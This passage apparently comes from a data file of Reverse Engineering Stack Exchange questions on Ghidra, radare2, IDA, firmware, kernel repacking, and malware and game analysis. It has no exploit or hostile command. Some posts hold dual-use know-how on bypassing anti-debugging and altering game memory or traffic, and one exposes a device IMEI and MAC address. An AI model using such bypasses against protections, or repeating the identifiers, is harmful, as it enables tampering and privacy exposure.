+eip=7c90120e esp=0022fb20 ebp=0022fc94 iopl=0         nv up ei pl nz na po nc
+cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
+*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll - 
+ntdll!DbgBreakPoint:
+7c90120e cc              int     3
+0:000> g
+(6dc.1e8): Break instruction exception - code 80000003 (first chance)
+eax=7ffdc000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
+eip=7c90120e esp=0097ffcc ebp=0097fff4 iopl=0         nv up ei pl zr na pe nc
+cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246
+ntdll!DbgBreakPoint:
+7c90120e cc              int     3
+0:001> 
+0:001> s -w 00400000 0041d000 6d 66
+00404042  006d 0066 0000 0042 0055 0054 0054 004f  m.f...B.U.T.T.O.
+0:001> db 00404042
+00404042  6d 00 66 00 00 00 42 00-55 00 54 00 54 00 4f 00  m.f...B.U.T.T.O.
+00404052  4e 00 00 00 00 00 53 00-61 00 6d 00 70 00 6c 00  N.....S.a.m.p.l.
+00404062  65 00 20 00 57 00 69 00-6e 00 64 00 6f 00 77 00  e. .W.i.n.d.o.w.
+00404072  20 00 43 00 6c 00 61 00-73 00 73 00 00 00 70 18   .C.l.a.s.s...p.
+00404082  40 00 55 6e 6b 6e 6f 77-6e 20 65 72 72 6f 72 00  @.Unknown error.
+00404092  00 00 5f 6d 61 74 68 65-72 72 28 29 3a 20 25 73  .._matherr(): %s
+004040a2  20 69 6e 20 25 73 28 25-67 2c 20 25 67 29 20 20   in %s(%g, %g)  
+004040b2  28 72 65 74 76 61 6c 3d-25 67 29 0a 00 00 41 72  (retval=%g)...Ar
+0:001> eb 00404042 41 41 66 00 00 00 42 00 55 00 54 00 54 00 4f 00
+                                                                 ^ Memory access error in 'eb 00404042 41 41 66 00 00 00 42 00 55 00 54 00 54 00 4f 00'
+
+program: +
#ifndef UNICODE
+#define UNICODE
+#endif 
+
+#include <windows.h>
+#include <windowsx.h>
+#include <stdio.h>
+
+LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
+
+int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow)
+{
+    // Register the window class.
+    const wchar_t CLASS_NAME[]  = L"Sample Window Class";
+    
+    WNDCLASS wc = { };
+
+    wc.lpfnWndProc   = WindowProc;
+    wc.hInstance     = hInstance;
+    wc.lpszClassName = CLASS_NAME;
+
+    RegisterClass(&wc);
+
+    // Create the window.
+
+    HWND hwnd = CreateWindowEx(
+        0,                              // Optional window styles.
+        CLASS_NAME,                     // Window class
+        L"Learn to Program Windows",    // Window text
+        WS_OVERLAPPEDWINDOW,            // Window style
+
+        // Size and position
+        CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
+
+        NULL,       // Parent window    
+        NULL,       // Menu
+        hInstance,  // Instance handle
+        NULL        // Additional application data
+        );
+
+    if (hwnd == NULL)
+    {
+        return 0;
+    }
+
+   HWND hwndButton = CreateWindow( 
+    L"BUTTON",  // Predefined class; Unicode assumed 
+    L"special_mf",      // Button text 
+    WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,  // Styles 
+    10,         // x position 
+    10,         // y position 
+    200,        // Button width
+    25,        // Button height
+    hwnd,     // Parent window
+    NULL,       // No menu.
+    (HINSTANCE)GetWindowLongPtr(hwnd, GWLP_HINSTANCE), 
+    NULL);      // Pointer not needed.
+
+    Button_Enable(hwndButton , FALSE);
+
+    ShowWindow(hwnd, nCmdShow);
+    
+    // Run the message loop.
+
+    MSG msg = { };
+    while (GetMessage(&msg, NULL, 0, 0))
+    {
+        TranslateMessage(&msg);
+        DispatchMessage(&msg);
+    }
+
+    return 0;
+}
+
+LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
+{
+    switch (uMsg)
+    {
+    case WM_DESTROY:
+        PostQuitMessage(0);
+        return 0;
+
+    case WM_PAINT:
+        {
+            PAINTSTRUCT ps;
+            HDC hdc = BeginPaint(hwnd, &ps);
+
+
+
+            FillRect(hdc, &ps.rcPaint, (HBRUSH) (COLOR_WINDOW+1));
+
+            EndPaint(hwnd, &ps);
+        }
+        return 0;
+
+    }
+    return DefWindowProc(hwnd, uMsg, wParam, lParam);
+}
+
+
+INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
+    PSTR lpCmdLine, INT nCmdShow)
+{
+   wWinMain(hInstance , hPrevInstance, lpCmdLine,  nCmdShow);
+    return 0;
+}
+
+compiling options with mingw: +
gcc -m32 -w -mwindows test.c -o test.exe
+
+" +"['radare2', 'ghidra', 'elf']"," Title: How can I find an external function code correctly in Ghidra and Radare2?Body:
This is a code to call an external function(get_random_name) in the main function +
push {fp, lr}
+add fp, sp, 4
+sub sp, sp, 0x1d8
+str r0, [fp, -0x1d8]     
+str r1, [fp, -0x1dc]      
+sub r3, fp, 0x44
+mov r0, r3
+bl sym.imp.get_random_name
+... ...
+
+If I go to the function get_random_name, +
;-- get_random_name:
+add ip, pc, 0, 12
+add ip, ip, 8, 20
+ldr pc, [ip, 0x9b0]!
+
+I think this is not a real code of get_random_name.
+How can I find this function code correctly?
+Should I search this code on the other files or libraries? +I am using Ghidra & radare2 now. +" +['ghidra']," Title: Java says ""ghidra"" is unknown protocol when creating project on linuxBody: Update: I installed Eclipse and PyDev in Linux and my code works now. This confirms it was an issue setting up the Python/Jython paths. I would still like to know how to import ghidra.jar into jython so that I can use command line in the future. Any help here would be greatly appreciated. +I am making a ghidra project on Linux. I am using a Ghidra jar and jython to code my application. I am adding ghidra to my path with system.path.append() and I am running my program with +jython main.py. +My code worked with Pydev in Eclipse on Windows, but on Linux I am getting +java.lang.IllegalArgumentException: java.lang.IllegalArgumentException: java.net.MalformedURLException: unknown protocol: ghidra when I reach ghidraProject.createProject(). I investigated the source and I found that the error occurs when Java tries to make a url from string. I know Ghidra has a protocol handler which should be handling the protocol "ghidra". I assume Java doesn't register the protocol handler somehow. I tried Handler.registerHandler() with no luck. +Why is "ghidra" an unknown protocol on Linux, but the same code works (save for the PyDev environment) in Eclipse/Windows? +Error printout: + +" +"['ghidra', 'elf']"," Title: How to decompile external functions of *.so library in ELF with Ghidra?Body: There are some *.so libraries in my ELF file.
+I can see the *.so names in "Imports" directory of "Symbol Tree" Window in Ghidra tool.
+I think there are some external functions in the *.so libraries.
+How can I decompile external functions of *.so libraries in ELF with Ghidra? +" +"['ida', 'android', 'ghidra', 'java', 'apk']"," Title: Is this native code possible for further static analysis?Body: I was trying to reverse engineer a native lib code in an android app. the .so contains many functions. But the function sUQWWyTBEs() was referred in the Java code. I was curious how this function works, the code of the function sUQWWyTBEs() decompiled with Ghidra: +
*************************************************************
+                             *                           FUNCTION                          
+                             *************************************************************
+                             undefined  __cdecl  Myapp_sUQWWyTBEs()
+             undefined         w0:1           <RETURN>
+             longlong *        x0:8           param_1
+                             Myapp_sUQWWyTBEs XREF[2]:     Entry Point (*) , 00101350   
+        00100e44 08  00  40  f9    ldr        x8, [param_1 ]
+        00100e48 01  00  00  b0    adrp       x1, s_c7a584936712f32773d3d0a_00101000           ; = "c7a584936712f32773d3d0a"
+        00100e4c 21  60  08  91    add        x1, x1, #0x218
+        00100e50 02  9d  42  f9    ldr        x2, [x8, #0x538 ]
+        00100e54 40  00  1f  d6    br         x2
+
+in my understanding, I have made the static analysis as like following: +00100e44 08 00 40 f9 ldr x8, [param_1 ] +load the value at memory address param_1 into register x8. +0100e48 01 00 00 b0 adrp x1, s_c7a584936712f32773d3d0a_00101000 +sets register x1 to 0x101000. +00100e4c 21 60 08 91 add x1, x1, #0x218 +adds 0x218 to x1, so it sets x1 to 0x101218. +00100e50 02 9d 42 f9 ldr x2, [x8, #0x538 ] +loads the value at x8 + 0x538 into x2. +00100e54 40 00 1f d6 br x2 +and finally branches to the address stored in x2. +with that being said, Here I don't know the memory at address at x2, obviously it initially depends on the value param_1 holds. is there way or how can I refer where param_1 was initialized? I don't know very much about usage of Ghidra or other reverse engineering tools. any one might help would be appreciated. +Edit: This function returns a string like this 47fjlkj843h9asjklj94kljfsad93j4l2715943hasd... but what I wanted is that how this value was generated or returned. +" +"['game-hacking', 'unknown-data']"," Title: Retrieve user data as if it were the game making the requestBody: Don't think the title really summed it up but here goes. +There's a game built in Unreal Engine 4 that displays your (and other users) in-game statistics e.g a leaderboards page. +I can determine some possible IPs that the game must be talking to in order to retrieve this data but the payload is simply a hex dump and is unreadable (looks to be encoded) +Just wondering if there is a way to determine how the game is making the request, the details of that request and how it's interpreting the returned data. +(To summarise: I'm trying to get in-game statistics without any external api provided - since the developers don't have one) +Many thanks :) +" +"['decompress', 'c#', 'exe', 'windows-10', 'dnspy']"," Title: Is there a way to decompress a Fody-Costura generated exe in c#?Body: There is a program that is possibly a RAT, and I would like to view the source code. +After opening the .exe in dnSpy, I was able to tell that it was compressed with Fody-Costura. (https://github.com/Fody/Costura) +Is there any way to de-compress the file? If so, how? +" +"['ghidra', 'pointer']"," Title: How to see the function definition of a function pointer in GhidraBody: i was wondering how to get to the function definition of a function pointer. Currently i have a function which is called in the following way: +
iVar = (*DAT)(param_2, PTR_s)
+
+When i press on *DAT i see that it is referenced by several functions. What i am wondering know is what the function definition looks like because i am interested in what the function is doing. How do i get to the function definition from the pointer? +" +"['firmware', 'arm', 'patching', 'embedded']"," Title: ARM Cortex-M0 - How to either (non-intrusively) extract firmware or modify downloadable firmware (NuMicro NUC126)Body: As a hands-on introduction into RE, I've decided to take on a small, simple embedded device. In hindsight, it was probably a mistake. This "project" has consumed me for about 2 weeks. However, I'm determined to see this through, by god. +Here's what I've got so far: +
    +
  • The brain of the device is a NuMicro NUC126 (Cortex-M0) microcontroller. (datasheet) +
  • +
  • The device also houses a BY25Q64ASSIG SPI NOR Flash (irrelevant?) (datasheet) +
  • +
  • The firmware download is a single .bin file (available if requested). +
  • +
  • The firmware is loaded to the device over USB via the (custom?) device-in-question vendor's ISP tool. (official non-vendor tool). Even the source is available for the ISP tool. +
  • +
  • Output of binwalk -B: 97640 0x17D68 CRC32 polynomial table, little endian. Nothing else. +
  • +
  • binwalk -E indicates no compression/encryption: + +as does binvis.io: + +
  • +
  • strings indeed finds strings visible when using the device +
  • +
  • dfu-util -l and dfu-util -d <VID:PID> doesn't appear to be able to find the device, which tells me that it does not utilize DFU. Even more likely, I'm just using it wrong. Perhaps the ISP tool puts it into DFU mode before flashing? I was hoping to perhaps extract the firmware this way. +
  • +
  • Applied segment maps in IDA, aligned vectors, analyzed at reset vector, ???, no profit (yet). +
  • +
+My intentions: +The device comes with 3 "themes". I either want to replace/edit, or add more. The problem is, while I (think I) have disassembled the firmware correctly, as noted above, I don't know where to go from there. +Questions: +
    +
  1. Since I feel like I'm (somewhat) close to a solution, is there something I'm missing? Reading assembly, sure. But I mean, are the themes simply bitmap style images? Are they vector? How would I know? After scanning the file using a resource extractor, it didn't find any embedded images. Though I'm curious as to whether disassembling the downloaded firmware would yield the same results as if I were to actually pull the firmware from the chip and disassembling it that way.
  2. +
  3. Is JTAG/UART absolutely necessary? The reason I ask is because practically all guides I've found utilize something similar. I've looked into OpenOCD, Segger, etc. and I'm really trying to avoid purchasing extra stuff, but will if necessary.
  4. +
+
+Thank you all for the help! If you require more information, please ask! +" +"['encryption', 'decryption', 'unknown-data']"," Title: How can I decrypte the data in this SQLite Database fileBody: I have this SQLite Database file +https://we.tl/t-RwKqYyS3D7 +When I open it in notepad++, I got some decoded strings. I was trying to clean it and show only the strings without the symboles but then I found this website +https://filext.com/online-file-viewer.html +When I open that file there, it show a db table and the text column have only numbers. +I was thinking, maybe that's the strings but encrypted ? +Hope someone have an explanation for that numbers and maybe a way to decrypte it. +Example of the numbers +
92,91,72,49,93,32,32,39,97,98,32,32,97,119,98,60,98,114,62,10,60,98,114,62,10,97,32,112,114,105,109,105,116,105,118,101,32,119,111,114,100,59,60,98,114,62,10,60,98,114,62,10,102,97,116,104,101,114,44,32,105,110,32,97,32,108,105,116,101,114,97,108,32,97,110,100,32,105,109,109,101,100,105,97,116,101,44,32,111,114,32,102,105,103,117,114,97,116,105,118,101,32,97,110,100,32,114,101,109,111,116,101,32,97,112,112,108,105,99,97,116,105,111,110,41,46,32,67,111,109,112,97,114,101,32,110,97,109,101,115,32,105,110,32,34,65,98,105,45,34,46,60,98,114,62,10,60,98,114,62,10,60,98,114,62,10,75,74,86,58,32,99,104,105,101,102,44,32,40,102,111,114,101,45,41,102,97,116,104,101,114,40,45,108,101,115,115,41,44,32,88,32,32,112,97,116,114,105,109,111,110,121,44,32,112,114,105,110,99,105,112,97,108,46,60,98,114,62,10
+
+Or maybe a regex to clean all the file +Thank you! +" +"['binary-analysis', 'linux']"," Title: Repacking vmlinux into zImage/bzimageBody: While RE an embedded device I ran into a problem - I need to patch a check in the kernel which has no sources available. Unpacking the kernel and binary-patching went smoothly. However I cannot get over repacking the vmlinux into zImage/bzImage. +I extracted the kernel using extract-vmlinux (modified to show offset here): +
$ ../../extract-vmlinux zImage > vmlinux
+Found valid magic - decompressed using unlzma (tail -c+15967 "zImage" | unlzma)
+Header at: head -c15966
+Compressed at: tail -c+15967
+
+$ binwalk zImage
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+15966         0x3E5E          LZMA compressed data, properties: 0x5D, dictionary size: 67108864 bytes, uncompressed size: -1 bytes
+
+Next, without any modifications, I wanted to recompress it back and keep the header, as to my knowledge it has the decompression code: +
$ cat <(head -c15966 zImage) <(lzma -z < vmlinux) > zImage-repacked
+$ ls -l
+-rw-r--r-- 1 user user 3032080 Jun  5 22:32 zImage
+-rw-r--r-- 1 user user 3024065 Jun  6 00:04 zImage-repacked
+
+$ binwalk zImage-repacked
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+15966         0x3E5E          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes
+
+The image came ~8k short, which didn't worry me (as my compression might have been more aggressive). However the image is now broken: +
$ ../../extract-vmlinux zImage-repacked > /dev/null
+extract-vmlinux: Cannot find vmlinux.
+
+I also found that the extract-linux script pipes everything after the offset to unlzma but there's 9441 bytes of something which unlzma ignores. When removed I'm getting a pure archive which matches the size saved just after it: +
$ tail -c+15967 zImage | head -c-9441 | unlzma > /dev/null ; echo $?
+0
+$ tail -c+15967 zImage | head -c-9441 | unlzma | wc --bytes
+13871216
+$ tail -c+15967 zImage | head -c-9437 | tail -c4 | od -i --endian=little
+0000000    13871216
+0000004
+
+I know the classical wisdom is "you have to recompile" but we're on RE - this is not possible ;)
+How can I approach re-packing of the modified vmlinux back to LZMA-zImage? +" +['ida']," Title: IDA analysing a PE file now for 7 days+Body: So i am pretty new to IDA (64bit) / reverse engineering and i got a few questions. Currently i have IDA pro 7.5 on Windows 10. +First question: I am currently analysing a dumped (bypassed the anti debugger with a modified version of Scylla dumper) PE exe 64bit file wich is ca. 500MB (over 500K functions) for now straight 7 days and i dont think its getting to an end. (MetaPC and Intel 80x86, Manual load with imagebase 0) +IDA always loops at the same place (20K Functions / Unexplored Data), im assuming thats because of a StackCookie with a GS Check. The error list is big. I even tried to open a copy from the same dump but first unpack it with the Manual reconstruct unpacker, wich crashed with an error message bad index file. After that it looped at the same position. +Should i Undefine the part where IDA is looping, so atleast it can finish the Auto-Analysis? Or is there a way to force the analysis to finish? Im open for a completly diffrent solution. +Second question: +My Hardware is pretty good, 32GB Ram M.2 2TB Samsung EVO i7 10700k boosted to 5GHZ etc.. but my IDA is only using 9% of my CPU and 1.5GB Ram. Is it possible to allow IDA to use more power? Do u have to slice the dump into diffrent segments and load it into seprate IDA's windows? so i can extend the memory footprint. Already closed all windows except the Output window. +If you need more Information im open to deliver. Thanks :) +" +['binary-analysis']," Title: Extracting Userdata from Userdata.bin file backup of oneplus 7pro mobileBody: I have userdata backup file (Userdata.bin) of oneplus 7pro. I want to extract photos and videos from this. when i used the command "binwalk userdata.bin" it shows +
DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+20005546      0x13142AA       Uncompressed Adobe Flash SWF file, Version 50, File size (header included) 492522729
+29002559      0x1BA8B3F       gzip compressed data, ASCII, has header CRC, has 19451 bytes of extra data, has comment, last modified: 2020-12-09 15:06:36
+151223348     0x9037C34       LZMA compressed data, properties: 0x5D, dictionary size: -1091371008 bytes, uncompressed size: 2629435300301145041 bytes
+154662425     0x937F619       Uncompressed Adobe Flash SWF file, Version 84, File size (header included) 692587800
+157747503     0x967092F       MySQL MISAM compressed data file Version 10
+158766212     0x9769484       MySQL MISAM index file Version 1
+190759179     0xB5EC10B       LZMA compressed data, properties: 0x5D, dictionary size: -1956052992 bytes, uncompressed size: 1941629611387946799 bytes
+203769284     0xC2545C4       Uncompressed Adobe Flash SWF file, Version 59, File size (header included) 1680641900
+207505633     0xC5E48E1       Uncompressed Adobe Flash SWF file, Version 48, File size (header included) 1781182940
+226976766     0xD8763FE       LZMA compressed data, properties: 0x5D, dictionary size: 603127808 bytes, uncompressed size: 2626171271486306996 bytes
+237346339     0xE259E23       LZMA compressed data, properties: 0x5D, dictionary size: -1186856960 bytes, uncompressed size: 5193331955517265233 bytes
+243780541     0xE87CBBD       Qualcomm device tree container, version: 1230904524, DTB entries: 2855478585
+253201947     0xF178E1B       Uncompressed Adobe Flash SWF file, Version 67, File size (header included) 2522853576
+267473318     0xFF151A6       Uncompressed Adobe Flash SWF file, Version 19, File size (header included) 2472055891
+291443759     0x115F142F      Uncompressed Adobe Flash SWF file, Version 1, File size (header included) 1874015997
+292915366     0x117588A6      Uncompressed Adobe Flash SWF file, Version 11, File size (header included) 3162630366
+308191417     0x125EA0B9      Cisco IOS experimental microcode, for ""
+319599114     0x130CB20A      Uncompressed Adobe Flash SWF file, Version 15, File size (header included) 3526619997
+326306949     0x13730C85      LZMA compressed data, properties: 0x5D, dictionary size: -2117468160 bytes, uncompressed size: 163227338804047963 bytes
+346510442     0x14A7546A      LZMA compressed data, properties: 0x5D, dictionary size: -851968000 bytes, uncompressed size: 2692117331713841249 bytes
+350481505     0x14E3EC61      LZMA compressed data, properties: 0x5D, dictionary size: -1255473152 bytes, uncompressed size: 2851849894619330354 bytes
+352437944     0x1501C6B8      LZMA compressed data, properties: 0x5D, dictionary size: -747634688 bytes, uncompressed size: 5173880095999022411 bytes
+361964804     0x15932504      Uncompressed Adobe Flash SWF file, Version 32, File size (header included) 2191480467
+392279284     0x1761B4F4      LZMA compressed data, properties: 0x5D, dictionary size: 753664000 bytes, uncompressed size: 5960100682697462886 bytes
+402652160     0x17FFFC00      Linux EXT filesystem, blocks count: 59463283, image size: 60890401792, rev 1.0, ext4 filesystem data, UUID=9c665de0-9d83-42e0-bd1d-34377c027c02, volume name "data"
+61339173326   0xE481981CE     Uncompressed Adobe Flash SWF file, Version 47, File size (header included) 2210144418
+61566954532   0xE55AD2C24     Uncompressed Adobe Flash SWF file, Version 74, File size (header included) 4195364806
+61684479138   0xE5CAE74A2     LZMA compressed data, properties: 0x5D, dictionary size: 1182859264 bytes, uncompressed size: 2804843589326703007 bytes
+61968602376   0xE6D9DD508     Uncompressed Adobe Flash SWF file, Version 116, File size (header included) 3412781761
+61975025774   0xE6DFFD86E     Uncompressed Adobe Flash SWF file, Version 68, File size (header included) 4194399919
+61989984097   0xE6EE41761     LZMA compressed data, properties: 0x5D, dictionary size: -1768292352 bytes, uncompressed size: 6412360571714312808 bytes
+62127752762   0xE771A463A     Uncompressed Adobe Flash SWF file, Version 59, File size (header included) 1211029814
+62128958366   0xE772CAB9E     LZMA compressed data, properties: 0x5D, dictionary size: -732168192 bytes, uncompressed size: 8252619256980203060 bytes
+62157149472   0xE78DAD520     Uncompressed Adobe Flash SWF file, Version 63, File size (header included) 196400005
+62243597604   0xE7E01ED24     LZMA compressed data, properties: 0x5D, dictionary size: -1077280768 bytes, uncompressed size: 3052131975490100006 bytes
+62291518645   0xE80DD24B5     Uncompressed Adobe Flash SWF file, Version 3, File size (header included) 3875421330
+62297677360   0xE813B1E30     Uncompressed Adobe Flash SWF file, Version 32, File size (header included) 1215234504
+62307467273   0xE81D08009     LZMA compressed data, properties: 0x5D, dictionary size: 73138176 bytes, uncompressed size: 4064746276382930044 bytes
+62352081571   0xE847942A3     Uncompressed Adobe Flash SWF file, Version 15, File size (header included) 3906852731
+62360383829   0xE84F7F155     LZMA compressed data, properties: 0x5D, dictionary size: -919535616 bytes, uncompressed size: 365108043805695494 bytes
+62361701650   0xE850C0D12     LZMA compressed data, properties: 0x5D, dictionary size: -1233387520 bytes, uncompressed size: 9192010719985262417 bytes
+62422697376   0xE88AEC5A0     Certificate in DER format (x509 v3), header length: 4, sequence length: 2135
+62433792502   0xE895811F6     LZMA compressed data, properties: 0x5D, dictionary size: 1457455104 bytes, uncompressed size: 7640232335065180936 bytes
+62442101297   0xE89D6DA31     LZMA compressed data, properties: 0x5D, dictionary size: -311820288 bytes, uncompressed size: 5017487224196718706 bytes
+62454930003   0xE8A9A9A53     Uncompressed Adobe Flash SWF file, Version 67, File size (header included) 1982155663
+62481583475   0xE8C314D73     Uncompressed Adobe Flash SWF file, Version 16, File size (header included) 842444556
+62491210704   0xE8CC433D0     LZMA compressed data, properties: 0x5D, dictionary size: -847577088 bytes, uncompressed size: 4510595403222360816 bytes
+62501270919   0xE8D5DB587     MySQL MISAM compressed data file Version 1
+62509780600   0xE8DDF8E78     LZMA compressed data, properties: 0x5D, dictionary size: -1386545152 bytes, uncompressed size: 6470833901798277711 bytes
+62512418763   0xE8E07CFCB     LZMA compressed data, properties: 0x5D, dictionary size: -1303838720 bytes, uncompressed size: 4354983803664832655 bytes
+62521989084   0xE8E99D7DC     LZMA compressed data, properties: 0x5D, dictionary size: 1809252352 bytes, uncompressed size: 2877649210087158927 bytes
+62557848557   0xE90BD03ED     TROC filesystem, 2142186800 file entries
+62560802663   0xE90EA1767     Uncompressed Adobe Flash SWF file, Version 107, File size (header included) 1682702198
+62570028905   0xE9176DF69     MySQL MISAM compressed data file Version 3
+62622483906   0xE949745C2     LZMA compressed data, properties: 0x5D, dictionary size: 1844379648 bytes, uncompressed size: 2510853224060172728 bytes
+62652341955   0xE965EDEC3     Uncompressed Adobe Flash SWF file, Version 76, File size (header included) 3659229454
+62685042534   0xE9851D766     Uncompressed Adobe Flash SWF file, Version 82, File size (header included) 4015553640
+62697798679   0xE99147C17     LZMA compressed data, properties: 0x5D, dictionary size: 146669568 bytes, uncompressed size: 4573553652826860487 bytes
+62699810002   0xE99332CD2     PARity archive data - file number 20158
+62710018947   0xE99CEF383     MySQL MISAM compressed data file Version 7
+62712764124   0xE99F8D6DC     LZMA compressed data, properties: 0x5D, dictionary size: 65732608 bytes, uncompressed size: 7597355933296428476 bytes
+62752875144   0xE9C5CE288     Uncompressed Adobe Flash SWF file, Version 14, File size (header included) 1623226578
+62765338649   0xE9D1B1019     Uncompressed Adobe Flash SWF file, Version 73, File size (header included) 356137353
+62796056623   0xE9EEFC82F     Uncompressed Adobe Flash SWF file, Version 75, File size (header included) 830595849
+62818403584   0xEA044C500     MySQL MISAM index file Version 1
+62826019514   0xEA0B8FABA     LZMA compressed data, properties: 0x5D, dictionary size: 289013760 bytes, uncompressed size: 8561962619585991282 bytes
+62843673533   0xEA1C65BBD     Uncompressed Adobe Flash SWF file, Version 63, File size (header included) 1673895529
+62861352275   0xEA2D41D53     MySQL ISAM index file Version 6
+62865711780   0xEA316A2A4     Cisco IOS experimental microcode, for "H"
+62871809229   0xEA373ACCD     Broadcom header, number of sections: 1811879010,
+62872352509   0xEA37BF6FD     Uncompressed Adobe Flash SWF file, Version 46, File size (header included) 311816449
+62912766971   0xEA5E4A3FB     HPACK archive data
+62953561969   0xEA8531F71     LZMA compressed data, properties: 0x5D, dictionary size: 1124859904 bytes, uncompressed size: 6030422991665520964 bytes
+62965416645   0xEA90802C5     LZMA compressed data, properties: 0x5D, dictionary size: -2059272192 bytes, uncompressed size: 9218576816601013656 bytes
+62969008871   0xEA93ED2E7     LZMA compressed data, properties: 0x5D, dictionary size: -439615488 bytes, uncompressed size: 9125414184307085061 bytes
+62973814276   0xEA9882604     Uncompressed Adobe Flash SWF file, Version 89, File size (header included) 4082792510
+62988436106   0xEAA67428A     Uncompressed Adobe Flash SWF file, Version 106, File size (header included) 3241855911
+
+i did not know where this data is included... It may be here - 402652160 0x17FFFC00 Linux EXT filesystem, blocks count: 59463283, image size: 60890401792, rev 1.0, ext4 filesystem data, UUID=9c665de0-9d83-42e0-bd1d-34377c027c02, volume name "data" +So how can i extract it with binwalk or any other tool ? Did this block contains my data ? +Thanks in advance +" +"['c', 'dos-exe']"," Title: How to maintain function ordering in an executable when replacing machine code with C step by step?Body: I am working on reversing a DOS game consisting of 16-bit MZ EXE files. I was able to determine the exectuables were generated by Microsoft C v 5.10, and loading the signatures from the static libraries shipping with that compiler into IDA allowed me to identify standard C library functions within the executable. +I started out trying to rewrite the game in C++ on the side while analyzing the executables in IDA and the DOSbox debugger, but I ditched that approach due to the fact that it will take a long time before I have something operational, and I will probably make many mistakes along the way which will mean my implementation will either diverge from the original, or (more likely) be completely broken by the time I'm done. +The idea now is to reassemble the disassembly into working exe-s and replace the functions with equivalents written in C, which will keep me on track and also allow me to verify if my code is a 1:1 replacement for the original. +Question is, I understand that functions can move around in the executable both during building as well as the final linking. For GCC, I think it should be possible to enforce a specific layout of the binary with linker scripts, but the MSC compiler has no such feature, so my question is, is there some way of making sure my reassembled/recompiled binary puts the functions in the same order as the original, or is there a different approach I can take to verify conformity with the original despite the ordering discrepancies? +" +"['windows', 'hardware', 'tools', 'usb']"," Title: Reversing Logitech G933 Battery Charge ValuesBody: I have a Logitech G933 headset. I replaced the stock battery with a larger capacity. The headset now lasts many hours longer than it was originally designed, and the software is configured to give audible "low" and "critical" notifications every few minutes. +This notification goes on for several hours and I'd like to re-calibrate the software so that "low" and "critical" are properly defined at around 5% and 2% respective of the new battery's remaining capacity. +My google fu brought me to a configuration file (%AppData%\Local\Logitech\Logitech Gaming Software\settings.json) where these values are defined, but I cannot find anywhere that tells how to interpret the values (are they a standard unit of measurement?) or how to read them from the device manually: +
"Critical" : 1623032924
+"Low" : 1623022186
+
+I'm hoping there's some sort of USB reverse engineering techniques I can use to retrieve current values from the headset; this would enable me to get a full range of values from the new battery as reported by the headset, and I could then adjust the notification values accordingly. +If it helps, I'm familiar with Python but have zero experience with hardware or drivers. +Update: Upon some further thinking, my brain matter somehow deduced that these values might be Unix Epoch timestamps. I checked the current Unix Epoch time ('1623079890'), and sure enough, it fits right in... +I'm going to guess that these values are updated every time the headset is turned on? I'm not sure, but more testing is required. I'll keep this updated as I find out more. +" +"['firmware', 'binary', 'flash', 'rom']"," Title: How can I flash unpacked firmware into Alcatel MiFi?Body: I bought Alcatel MW40V from Vodafone Shop some weeks ago and I can't access USSD Codes within Web UI. +
Bus 001 Device 008: ID 1bbb:0195 T & A Mobile Phones Alcatel OneTouch L850V / Telekom Speedstick LTE
+
+Software Version:   MW40_00_02.00_25
+Device Name:    MW40
+IMEI:   352491109846647
+MAC Address:    f0:51:36:3d:2e:18
+IP Address:     192.168.1.1
+Subnet Mask:    255.255.255.0
+
+I'm facing annoying issues with preinstalled firmware and somehow I can't update normally and I know there were supposed to be updates pending. +Recently I unpacked firmware from IMG file with help of another post, but now I'm stuck and don't know what to do afterwards. +I tried to flash it with Alcatel TPST TPW like on Youtube video, but didn't work (Maybe because of ID mismatch). +Please help! +" +"['assembly', '.net', 'c#', 'error']"," Title: C# Console Application can't load file or assembly, but needs a dll which doesn't exists?Body: I have a strange error. I created for testing purposes a normal Console Application and run my own Tracer which is written with the help of Mono.Cecil on this application. I embedd a Stopwatch at the entry and exit of every method. +After I embedd it (the IL doesn't have any errors or warnings in it, when I inspect it with ILSpy) and try to run the Console Application it throws: +
+Unhandled Exception: System.IO.FileNotFoundException: Could not load file or assembly 'System.Runtime +.Extensions, Version=4.2.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' or one of its depende +ncies. The system cannot find the file specified. +
+Which is really strange, because Version = 4.2.2.0 doesn't even exists? Does anybody have a idea how this could be solved? +So when I try to give that Application any other Version of System.Runtime.Extensions this is thrown: +
+Unhandled Exception: System.IO.FileLoadException: Could not load file or assembly 'System.Runtime.Ext +ensions, Version=4.2.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' or one of its dependencie +s. The located assembly's manifest definition does not match the assembly reference. (Exception from +HRESULT: 0x80131040) +
+I'm stuck and would be thankful for every help or idea to resolve this problem. +" +"['debugging', 'anti-debugging', 'javascript']"," Title: Bypass Javascript Debug Prevention in FirefoxBody: I've looked around, and can't find an answer for my specific question. The closest I could find was this. +I'm trying to reverse engineer some suspicious Javascript, but it repeatedly calls a debugger statement, preventing any meaningful use of breakpoints. The question linked above describes some methods for Chrome, but I was curious if this was possible in Firefox? +" +"['memory', 'game-hacking', 'cheat-engine']"," Title: How can I get a value from a memory address that changes almost every millisecond?Body: After a lot of time, I found an address in the memory that has the target value but there is something unusual in that address! that address changes every millisecond. +ScreenShot: + +I did a hardware breakpoint on that line MOV ecx, [DOSBox.exe+210BF4].
